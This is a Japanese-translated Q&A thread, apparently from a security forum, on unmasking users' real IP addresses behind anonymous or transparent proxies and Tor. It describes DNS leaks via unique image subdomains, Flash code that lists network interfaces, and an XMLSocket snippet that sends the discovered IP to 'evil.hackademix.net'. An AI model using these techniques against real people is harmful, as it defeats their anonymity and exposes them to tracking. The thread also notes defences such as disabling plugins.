HTTP(S)接続を使用してユーザーの真のIPを明らかにするベストプラクティスの方法(およびできれば文書化)の方法はありますか?
例:可能な限り、匿名プロキシだけでなく透過プロキシからも真のIPを明らかにできるようにするため。
接続が正しく実装されているプロキシを使用している場合、httpまたはtcpを介してIPを検出することは困難な場合があります。あなたはかもしれません代わりにDNSを使用してIPに近づくのに運があります。たとえば、ページを動的に生成して、制御するドメインにある画像を含める場合、たとえば.
<img src="http://123123.deanonymize.mydomain.com"/>
ブラウザは123123.deanonymize.mydomain.comでルックアップを実行します。これにより、再帰的なDNSクエリが発生し、最終的にmydomain.comのDNSに到達します。クエリは、被害者が使用しているDNS(通常はISP)から発信されます。したがって、正確なIPは得られませんが、一般的な方向を示す可能性があります。
私の知る限り、犠牲者がバニラモードでTORを使用していても、この方法は機能します。詳細については、 https://trac.torproject.org/projects/tor/wiki/doc/PreventingDnsLeaksInTor を参照してください。
もう1つの方法は、Javaアプレットを使用してクライアント側のIPを把握することですが、現在のところ、どのような制限が課されているかについては最新ではありません。
それを行うには多くの方法があります。さらにいくつかの方法があります:
ポーリングネットワークインターフェイス (フラッシュ、 ローカル情報を取得できます )
import flash.net.NetworkInfo;
public function findInterface():void
{
var results:Vector.<NetworkInterface> =
NetworkInfo.networkInfo.findInterfaces();
for (var i:int=0; i<results.length; i++)
{
var output = output
+ "Name: " + results[i].name + "\n"
+ "DisplayName: " + results[i].displayName + "\n"
+ "MTU: " + results[i].mtu + "\n"
+ "HardwareAddr: " + results[i].hardwareAddress + "\n"
+ "Active: " + results[i].active + "\n";
for (var j:int=0; j<results[i].addresses.length; j++)
{
output = output
+ "Addr: " + results[i].addresses[j].address + "\n"
+ "Broadcast: " + results[i].addresses[j].broadcast + "\n"
+ "PrefixLength: " + results[i].addresses[j].prefixLength + "\n"
+ "IPVersion: " + results[i].addresses[j].ipVersion + "\n";
}
output = output + "\n";
}
}
XML "ping"を送信 (Flash、ブラウザ定義のプロキシのみに影響します)
var socket = new XMLSocket();
socket.onConnect = function(success) {
socket.onXML = function(doc) {
getURL("http://evil.hackademix.net/proxy_bypass?ip=" +
doc.firstChild.firstChild.nodeValue);
socket.close();
};
socket.send(new XML());
};
socket.connect("evil.hackademix.net", 9999);
すべてのハードウェア情報をフラッシュで公開できることに注意してください。 (ありがとう、TildalWave)
Javaにもそれを行う方法があります。基本的に、これらのメソッドによるpingを回避するために、Java、Flash、プラグイン、およびJavaScriptをオフにする必要があります。
IPを隠すことが匿名プロキシのポイントです。したがって、そのマシンがその仕事をしている場合、それを譲ってはなりません。クライアント側で javascript を実行してみることもできます(これがあなたのケースで機能するかどうかはわかりません)。
透過プロキシの場合、 この質問 にいくつかの情報があります。つまり、 X-Forwarded-Forヘッダー を使用することになります。